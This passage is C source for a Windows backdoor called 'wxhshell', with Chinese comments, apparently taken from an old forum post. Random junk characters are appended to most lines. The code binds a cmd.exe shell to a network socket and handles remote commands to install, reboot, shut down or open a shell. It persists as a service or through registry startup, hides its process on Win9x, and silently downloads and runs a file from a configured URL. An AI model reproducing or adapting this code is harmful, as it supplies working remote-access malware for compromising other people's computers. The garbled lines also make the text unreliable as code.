  \c,ap49RC  
  // 帮助 >3ZFzh&OYQ  
  case '?': { f}6s Q5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); o5d%w-'  
    break; tE.FrZS  
  } G `+T+  
  // 安装 ag;Q F  
  case 'i': { qjc8fP2  
    if(Install()) Nv$ R\'3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Id*Ce2B  
    else hC:n5]K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  JR'  
    break; q~ tz? T_  
    } 88Ey12$  
  // 卸载 6e(Qwt  
  case 'r': { 8<5]\X  
    if(Uninstall()) rW<KKGsRWQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +\x,HsUc"  
    else w}L]X1#sF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D{!6Y*d6&s  
    break; `CBZhI%%  
    } dA#Q}.*r  
  // 显示 wxhshell 所在路径 Gq+z/Be  
  case 'p': { Y5f1lUT  
    char svExeFile[MAX_PATH]; Ha(c'\T (\  
    strcpy(svExeFile,"\n\r"); #r$cyV!k  
      strcat(svExeFile,ExeFile); 2$9odD<r  
        send(wsh,svExeFile,strlen(svExeFile),0); F7A=GF'  
    break; ZLc -RM  
    } q6@Lp^f  
  // 重启 ]99|KQ<s  
  case 'b': { 0\H\lKcK  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |<HPn4 ,X  
    if(Boot(REBOOT)) wYd b*"R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QFE:tBHe  
    else { 6O|@xvg  
    closesocket(wsh); oOnop-z7  
    ExitThread(0); .RE:;<|w  
    } 2^Eg9y'  
    break; ?e` ^P   
    } l#m#c6;=  
  // 关机 vV6<^ W:9F  
  case 'd': { P !AEf#1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 3("_Z%  
    if(Boot(SHUTDOWN)) f6EZ( v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \"qY"V  
    else { eds o2  
    closesocket(wsh); 2X.r%&!1M  
    ExitThread(0); oin$-i|Xp!  
    } 3Ko/{f  
    break; hM@ HA  
    } *e<[SZzYZ  
  // 获取shell //*fSF   
  case 's': { T{Gj+7bQ~  
    CmdShell(wsh); J\/cCW-rF  
    closesocket(wsh); 3Q"<<pi!~  
    ExitThread(0); lun#^J  
    break; 1uG"f<TsR  
  } +GG9^:<yr  
  // 退出 ;>#wU'  
  case 'x': { < nXL  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 'ZT^PV \  
    CloseIt(wsh); %WSo b@f8  
    break; mi ik%7>W  
    } }d&_q7L@@6  
  // 离开 %9w::hav  
  case 'q': { C^3 <={  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); O#b6mKPt;t  
    closesocket(wsh); O|\J}rm'  
    WSACleanup(); c$ao:nP)D  
    exit(1); dUsYZdQs  
    break; $()5VM b  
        } 9Kpa><  
  } M2d$4-<  
  } yQU_>_!n  
FO=4:   
  // 提示信息 t'?.8}?)I&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PjZvQ\Z  
} 0M*Z'n +  
  } rw: c  
$RYa6"`  
  return; Q(@U2a8  
} 3cFf#a#  
4S5,w(6N  
// shell模块句柄 j\,EO+ZQCv  
int CmdShell(SOCKET sock) L\Aq6q@c  
{ 9`wZz~hL"  
STARTUPINFO si; <nE>XAI_7  
ZeroMemory(&si,sizeof(si)); `q?8A3A  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j!_;1++q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; H#NCi~M>3  
PROCESS_INFORMATION ProcessInfo; %4ePc-  
char cmdline[]="cmd"; gMY1ts}Z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Lilr0|U+  
  return 0; l%[EXZ  
} ?6yjy<D)$e  
z,Medw6[  
// 自身启动模式 Xp >7iX!:  
int StartFromService(void) u&`XB|~  
{ >CrA;\l  
typedef struct <<@bl@9'  
{ n.T&}ZPz\v  
  DWORD ExitStatus; ^.KwcXr  
  DWORD PebBaseAddress; <PapskO>  
  DWORD AffinityMask; "*m_> IU  
  DWORD BasePriority; }M1`di4e  
  ULONG UniqueProcessId; '3_]Gu-D  
  ULONG InheritedFromUniqueProcessId; |y&*MTfV4L  
}   PROCESS_BASIC_INFORMATION; Z8zmHc"IH  
]or>?{4g  
PROCNTQSIP NtQueryInformationProcess; e^d0zl{  
Ai:BEPKe  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &Nj3h(Ll  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @HQ`~C#Z'  
!>v2i"  
  HANDLE             hProcess; {wO3<9  
  PROCESS_BASIC_INFORMATION pbi; vu|n<  
^c<ucv6.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); wLmhy,  
  if(NULL == hInst ) return 0; Qc gRAo+u  
*i]=f6G  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); GKOD/,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ugo.@   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); b6}H$Sx~  
mFg<dTx0c8  
  if (!NtQueryInformationProcess) return 0; `!XY]PI+e  
!+1<E*NQ S  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); uZc`jNc\  
  if(!hProcess) return 0; .l>77zM6  
{)"iiJ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; '>&^zgr  
H18Tn!RDS  
  CloseHandle(hProcess); d p2F  
g}f`,r9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); C 'v+f=  
if(hProcess==NULL) return 0; "{tg8-a4)  
H$@`,{M629  
HMODULE hMod; k40* e\  
char procName[255]; TcIcS]w%  
unsigned long cbNeeded; s~>d:'k7|  
\n{qsf:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {. 2k6_1[  
<Fi%iA  
  CloseHandle(hProcess); @W va tD V  
>=RmGS  
if(strstr(procName,"services")) return 1; // 以服务启动 CsTF  
9;_sC  
  return 0; // 注册表启动 ?3*l{[@J  
} z54EG:x.7^  
~;1l9^N|  
// 主模块 #bMuvaP~  
int StartWxhshell(LPSTR lpCmdLine) Qj,]N@7  
{ 7[I}*3Q'  
  SOCKET wsl; 4kG,*3 &2  
BOOL val=TRUE; S/^"@?z,vE  
  int port=0; h!&prYx  
  struct sockaddr_in door; &0NFb^8+  
Q7R~{5r>W  
  if(wscfg.ws_autoins) Install(); ZT,B(#m  
T? tG~  
port=atoi(lpCmdLine); ])L A42|  
CZ(/=3,3n  
if(port<=0) port=wscfg.ws_port; KMU4n-s"o  
I2 j}Am  
  WSADATA data; 4G$|Rx[{,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l7W 6qNB  
<1FC%f/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   E0u~i59Z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); D[^m{ 9_  
  door.sin_family = AF_INET; 5!l0zLQP o  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _{r=.W+ w  
  door.sin_port = htons(port); @c<3b2  
LUuZ9$t0J"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6xWe=QGE  
closesocket(wsl); ANJ$'3tg  
return 1; '<rZm=48  
} >iD )eB  
pV20oSJNt  
  if(listen(wsl,2) == INVALID_SOCKET) { T'4z=Z]w  
closesocket(wsl); *8#i$w11M  
return 1; %1O;fQL  
} _C(m<n  
  Wxhshell(wsl); c}y [[EX  
  WSACleanup(); !X"K=zt"  
/G5d|P  
return 0; !|O~$2O@  
U7oo$gW%|T  
} 3H|_mX  
3~}uqaGt  
// 以NT服务方式启动 T{Sb^-H#X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /RHo1  
{ /[Z,MG  
DWORD   status = 0; ZHGC6a!a  
  DWORD   specificError = 0xfffffff; )=AHf?hn  
b!sRk@LGZ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :lB=L r)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; O)ME"@r@:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 'h^0HE\~p  
  serviceStatus.dwWin32ExitCode     = 0; MxGu>r  
  serviceStatus.dwServiceSpecificExitCode = 0; }z\_;\7  
  serviceStatus.dwCheckPoint       = 0; 9T |IvQK8  
  serviceStatus.dwWaitHint       = 0; RAG3o-  
qQ"Fv|]~>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); NR -!VJQ  
  if (hServiceStatusHandle==0) return; y($%;l   
t%'Z<DmG+  
status = GetLastError(); gF[z fDm  
  if (status!=NO_ERROR) ?pn}s]*/  
{ S zUpWy&  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; oo=Qt(#  
    serviceStatus.dwCheckPoint       = 0; &4b&X0pU  
    serviceStatus.dwWaitHint       = 0; /%&2HDA)  
    serviceStatus.dwWin32ExitCode     = status; %n hm  
    serviceStatus.dwServiceSpecificExitCode = specificError; c0hwc1kv-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); n@U n  
    return; -C<zF`jO  
  } (*oL+ef-C  
l-ct?T_@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &_"]5/"(  
  serviceStatus.dwCheckPoint       = 0; ]`&Yqg  
  serviceStatus.dwWaitHint       = 0; B x (uRj  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); H63,bNS s  
} _T2=J+"-Kp  
)('%R|$ /  
// 处理NT服务事件,比如:启动、停止 Gm(b/qDDe  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Kj<^zo%w  
{ L ]w/P|  
switch(fdwControl) GDD '[;  
{ .h9l7 nZt  
case SERVICE_CONTROL_STOP: ")V130<  
  serviceStatus.dwWin32ExitCode = 0; b|+wc6   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2Z3('?\z~  
  serviceStatus.dwCheckPoint   = 0; U2`'qsR1  
  serviceStatus.dwWaitHint     = 0; Q5FM8Q  
  { ^my].Qpt  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *cC_j*1@  
  } rFC" Jx  
  return; "g' jPwFG  
case SERVICE_CONTROL_PAUSE: J41G&$j(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9nH?l{As   
  break; GKoK7qH\J  
case SERVICE_CONTROL_CONTINUE: (rkU)Q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; wc!onZX5  
  break; L+'Fs  
case SERVICE_CONTROL_INTERROGATE: xo&]RYG[<  
  break; W2z*91$  
}; Sp}tD<V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u$-U*r  
} zOGU8Wg  
(iR ide  
// 标准应用程序主函数 I =1+h  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /w]!wM  
{ R1& [S/  
BM(]QUxRd  
// 获取操作系统版本 sgO'wXcoP  
OsIsNt=GetOsVer(); dw TMq*e  
GetModuleFileName(NULL,ExeFile,MAX_PATH); I('Un@hS  
v>Mnl  
  // 从命令行安装 $6CwkM:  
  if(strpbrk(lpCmdLine,"iI")) Install(); (s{RnD  
CE"JS-S?  
  // 下载执行文件 u-tQ9ioKC  
if(wscfg.ws_downexe) { L~I hsiB  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6$ Gep  
  WinExec(wscfg.ws_filenam,SW_HIDE); 40|,*wi  
} 1}tbH[  
om]4BRe  
if(!OsIsNt) { <0S,Q+&  
// 如果时win9x,隐藏进程并且设置为注册表启动 r\blyWi  
HideProc(); k%E2n:|*  
StartWxhshell(lpCmdLine); 04*6(L)h*  
} KID,|K  
else A0Zt8>w  
  if(StartFromService()) bzvh%RsW  
  // 以服务方式启动 9Ffp2NW`;  
  StartServiceCtrlDispatcher(DispatchTable); ($L Ll;1  
else jaa"~5TO8  
  // 普通方式启动 \TF!S"V  
  StartWxhshell(lpCmdLine); %~jkB.\* )  
<D::9c j  
return 0; H_0/f8GwnG  
}
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只看该作者 1 发表于: 2006-10-10
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